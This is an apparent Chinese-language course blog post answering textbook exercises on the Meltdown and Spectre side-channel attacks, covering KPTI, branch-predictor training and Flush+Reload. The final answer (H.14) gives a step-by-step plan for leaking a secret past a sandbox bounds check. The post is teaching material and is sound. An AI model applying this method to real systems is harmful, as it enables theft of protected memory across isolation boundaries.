解析: 不能。如果CPU不支持乱序执行,熔断攻击将无法发起。 熔断攻击的根本原理在于,CPU在等待一个(可能很慢的)指令(如权限检查)完成时,会提前执行后续的指令。正是这种“提前执行”的机制,使得在权限检查失败的异常被正式处理之前,利用秘密数据的指令能够被执行,从而在缓存中留下痕迹。 如果CPU是严格按顺序执行的,它会执行访问内核内存的指令,等待权限检查的结果。一旦检查失败,它会立即触发异常,而根本不会去看下一条指令是什么,后续的侧信道泄露指令也就永远不会被执行。 缺点是,不支持乱序执行的CPU性能会大大降低,因为它们无法有效利用指令级的并行性,导致大量的处理器资源在等待中被浪费。


H.9.

中文翻译: KAISER 可以用来防御 熔断攻击 (Meltdown Attack)。它的主要思想是不在用户空间映射内核内存。请解释为什么这个方法有效。

解析: KAISER (现在更名为内核页表隔离, KPTI) 之所以有效,是因为它从根本上消除了熔断攻击的前提条件。 如教材1.6节“Countermeasures”所述,熔断攻击之所以能成功,是因为在传统的操作系统设计中,为了方便系统调用和中断处理,整个内核空间的地址都被映射到了每一个用户进程的虚拟地址空间中(尽管有权限位保护)。攻击程序虽然没有权限访问,但地址本身是有效的、可解析的。 KAISER改变了这一点。当代码在用户模式下运行时,它会切换到一套几乎完全不包含内核映射的“用户态页表”。在这套页表下,那些敏感的内核地址(如 0xfb102000)是完全无效和不可解析的。当攻击代码尝试对这个地址进行乱序读取时,地址转换就会立即失败,从而引发一个更早、更根本的异常(页错误),而不是一个权限异常。这使得CPU甚至没有机会去启动对内存的推测性访问,因此后续的侧信道攻击步骤也就不可能发生了。


H.10.

中文翻译:幽灵攻击 (Spectre Attack) 中,我们为什么需要“训练”CPU?

解析: 在幽灵攻击中,“训练”CPU的目的是为了欺骗CPU的 分支预测 (Branch Prediction) 单元。 如教材2.2节“乱序执行与分支预测”所述,幽灵攻击依赖于让CPU错误地 推测执行 (Speculative Execution) 一个本不应该被执行的代码分支。为了做到这一点,攻击者需要操控分支预测器的“历史记录”。 具体来说,攻击者会重复地使用合法的、在边界内的输入值调用目标函数(例如一个有边界检查的函数)。这会让分支预测器“学习”并形成一个强大的偏见,认为“这个分支条件通常是真的”。 当训练完成后,攻击者再提供一个恶意的、越界的输入值。此时,由于分支条件(如 x < size)的判断可能需要时间(特别是当size不在缓存中时),分支预测器会基于之前的“经验”做出预测,即“条件为真”,并推测性地执行分支内的代码。正是这次错误的推测执行,导致了秘密数据的泄露。没有预先的训练,分支预测器可能不会做出攻击者所期望的预测,攻击也就不会成功。


H.11.

中文翻译: 如果CPU不支持 乱序执行 (Out-of-Order Execution),我们还能发起 幽灵攻击 (Spectre Attack) 吗?

解析: 不能。与熔断攻击一样,幽灵攻击也完全依赖于CPU的 推测执行 (Speculative Execution) 能力,而推测执行是乱序执行的一种核心体现。 幽灵攻击的原理是,在CPU最终确定一个分支条件的结果之前,它会根据预测提前执行该分支后的指令流。如果预测错误,所有推测执行的结果都会被回滚。攻击正是利用了回滚操作不会清除CPU缓存状态这一漏洞。 如果CPU不支持乱序执行,它会严格地等待分支条件(if (x < size))被完全计算出结果后,才决定是否执行分支内的代码。对于一个越界的输入x,条件判断结果为假,分支内的代码将永远不会被执行,无论是推测性地还是非推测性地。因此,攻击无法进行。


H.12.

中文翻译:幽灵攻击 (Spectre Attack) 的场景中,受保护的内存和攻击者程序在同一个进程中,为什么攻击者不能直接访问受保护的内存?

解析: 因为它们之间存在由软件实现的 沙箱 (Sandbox) 隔离机制。 如教材2.3节所述,虽然从操作系统的角度看,攻击者代码和受害者数据在同一个虚拟地址空间内,但在程序逻辑层面,它们被设计为互相隔离。一个典型的例子是Web浏览器,其中来自不同网站的JavaScript代码在同一个浏览器进程中运行,但浏览器通过沙箱机制严格禁止它们互相访问数据。 教材中的 restrictedAccess() 函数就是这种沙箱的一个简化模型。它通过一个 if 语句(if (x <= bound_upper && x >= bound_lower))来执行边界检查,这是一种软件层面的保护。任何直接访问都会被这个软件检查所阻止。幽灵攻击的精妙之处就在于,它不是攻击硬件层面的内存保护(如熔断攻击),而是利用CPU的推测执行来绕过这个软件层面的 if 检查。


H.13.

中文翻译: 当我们运行书中列出的 SpectreAttack.c 程序时,为什么我们总能在缓存中看到 array[0*4096 + DELTA]

解析: 这是因为代码 array[s*4096 + DELTA] += 88; 在程序的执行流中实际上被执行了两次,一次是推测性的,一次是体系结构性的(即最终确定的)。 如教材2.3节末尾的“执行结果”分析所述:

  1. 第一次执行 (推测性): 在被训练过的CPU进行推测执行时,restrictedAccess() 函数错误地返回了秘密值,并赋给了变量 s。此时,array[secret_value * 4096 + DELTA] 被访问,其内容被加载到缓存中。
  2. 第二次执行 (体系结构性): 随后,CPU发现分支预测是错误的,于是回滚了所有推测执行的结果。程序状态恢复到分支判断之前,然后重新以正常顺序执行。在正常执行流程中,由于边界检查失败,restrictedAccess() 函数按照其代码逻辑,总是返回 0。这个0被赋给变量 s。因此,array[0*4096 + DELTA] += 88; 这行代码被再次执行,导致 array[0] 对应的缓存行被访问。

所以,无论攻击是否成功获取了秘密值,array[0] 最终总是会被访问一次,因此它总是会出现在缓存中。攻击成功的标志是,除了 array[0] 之外,还有一个 array[secret_value] 也在缓存中。


H.14.

中文翻译: 你的程序在一个 沙箱 (Sandbox) 中运行,它被允许访问一个受保护缓冲区的前100个元素;访问必须通过下面的沙箱API进行。缓冲区的地址在 0xbfff0200。有一个秘密数字存储在 0xbfff0100,但你的程序因为沙箱保护无法访问它。你能获取这个秘密数字吗?如果可以,请描述如何做。

C
int low = 0;
int high = 100;
int restrictedAccess(int x)
{
  if (x > low && x < high) {
    return buffer[x];
  } else {
    return 0;
  }
}

解析: 可以,这正是 幽灵攻击 (Spectre Attack) 的典型应用场景。我会按照教材第2章描述的步骤来获取这个秘密数字:

  1. 计算恶意索引: 我需要构造一个索引 x,使得 buffer[x] 能够指向秘密地址。

    • buffer 的基地址是 0xbfff0200
    • 秘密地址是 0xbfff0100
    • 因此,恶意索引 x = secret_address - buffer_address = 0xbfff0100 - 0xbfff0200。这是一个负数偏移量。
  2. 训练分支预测器: 我会写一个循环,多次调用 restrictedAccess(i),其中 i 是一个在 (0, 100) 范围内的合法值。例如,循环10次,i 从1到10。这将训练CPU的分支预测器,让它相信 if (x > low && x < high) 这个条件通常为真。

  3. 准备侧信道: 和其他攻击一样,我需要准备一个 256 * 4096 的探测数组,并在攻击前将其从缓存中完全刷新 (Flush)。

  4. 发起攻击:

    • 为了增加成功率,我会先刷新 lowhigh 变量的缓存,这会拖慢 if 条件的判断速度,为推测执行争取时间。
    • 然后,我调用 restrictedAccess(x),其中 x 是我在第一步计算出的恶意负数索引。
    • 由于分支预测器的训练,CPU会推测 if 条件为真,并提前执行 return buffer[x]。这个操作会从 0xbfff0100 地址加载秘密数字(假设为S)。
    • 紧接着,我立即在代码中使用这个推测性返回的结果S来访问我的探测数组:probe_array[S * 4096] += 1;。这将秘密值S编码到了CPU缓存中。
  5. 恢复秘密: 当CPU最终完成 if 条件的计算,发现预测错误,它会回滚状态。但缓存中的痕迹已经留下。我的程序会继续执行,此时我通过遍历探测数组并测量访问时间 (Reload),找到那个访问时间最短的索引,这个索引就是我窃取到的秘密数字S。


Thanks for reading!

竞态条件与 Spectre:并发漏洞与侧信道攻击

周一 11月 03 2025 Course
19454 字 · 86 分钟
cover

His Smile

麗美